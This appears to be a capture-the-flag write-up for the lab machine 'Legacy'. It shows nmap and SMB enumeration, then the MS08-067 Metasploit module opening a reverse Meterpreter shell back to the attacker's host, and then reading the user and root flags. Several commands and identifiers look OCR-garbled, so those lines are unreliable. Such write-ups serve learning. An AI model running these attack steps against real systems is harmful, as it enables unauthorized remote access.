Legacy

1. Nmap gives me just SMB and a closed RDP port.

```
root@host:delta$ nmap -s5 -T4 -p- 10.10.10.4

Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-13 16:26 PDT
Nmap scan report for 10.10.10.4
Host is up (0.21s latency).
Not shown: 65532 filtered tcp ports (no-response)
PDRT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp closed ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 309.03 seconds
root@host:delta$
```

2. SMB doesn't work right off the bat.

```
delta@host:-$ smbclient -L 10.10.10.4 -U Anonymous protocol negotiation failed: NT_STATUS_IO_TIMEOUT delta@host:-$ [
```

3. I tweaked the SMB config to allow legacy protocols. Now the machine name makes sense.

4. Better, but I'm still not able to log in.

```
delta@host:-$ smbclient -L 10.10.10.4 -U Anonymous
Enter WORKGROUP\Anonymous's password:
session setup failed: NT_STATUS_LOGON_FAILURE
delta@host:-$ smbclient -L 10.10.10.4
Enter WORKGROUP\delta's password:
session setup failed: NT_STATUS_INVALID_PARAMETER
delta@host:-$ smbclient -L 10.10.10.4 -m (ORE
Enter WORKGROUP\delta's password:
tree connect failed: NT_STATUS_ACCESS_DENIED
delta@host:-$
```

5. Scanning the SMB server with nmap scripts shows that this version is open to a couple vulnerabilities, including the infamous EternalBlue exploit.

6. I tried EternalBlue, but it didn't work for me on this machine.

```
| Exploit Title | Path | Path
```

7. There were also some exploits available for the other vulnerability found by nmap, which is nine years older than EternalBlue.

```
delta@host:-$ searchsploit M588-067

Exploit Title | Path |

Microsoft Windows - 'NetAPI32.dll' Code Execution (Python) (M508-067) | windows/remote/40279.py |

Microsoft Windows Server - Code Execution (M508-067) | windows/remote/7104.c |

Microsoft Windows Server - Code Execution (PoC) (M508-067) | windows/dos/6024.txt |

Microsoft Windows Server - Service Relative Path Stack Corruption (M508-067) | windows/remote/16362.rb |

Microsoft Windows Server - Universal Code Execution (M508-067) | windows/remote/6841.txt |

Microsoft Windows Server 2000/2003 - Code Execution (M508-067) | windows/remote/7132.py |

Shellcodes: No Results |

delta@host:-$ |
```

8. Metasploit has one, too. It works!

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 10.10.10.4
rhosts => 10.10.10.4
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 10.10.14.24
lhost => 10.10.14.24
msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.14.24:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] 5ending stage (175174 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.14.24:4444 -> 10.10.10.4:1031 ) at 2022-04-05 09:19:13 -0700
meterpreter >
```

9. Just like that, we have the user flag.

```
      meterpreter > cd Desktop

      meterpreter > ls

      Listing: C:\Documents and Settings\john\Desktop

      meterpreter > Size Type Last modified
      Name

      100444/r-r-r-r-
      32 fil 2017-03-15 23:19:49 -0700 user.txt

      meterpreter > cat user.txt
      e69af0e4f443de7e36876fda4ec7644fmeterpreter >
```

10. The root flag is just as easy. No privilege escalation required!

```
        meterpreter > cd Desktop

        meterpreter > ls
        Listing: C:\Documents and Settings\Administrator\Desktop

        meterpreter > Size Type Last modified
        Name

        100444/r-r--r--
        32 fil 2017-03-15 23:18:50 -0700 root.txt

        meterpreter > cat root.txt
        993442d258b0e0ec917cae9e695d5713meterpreter >
```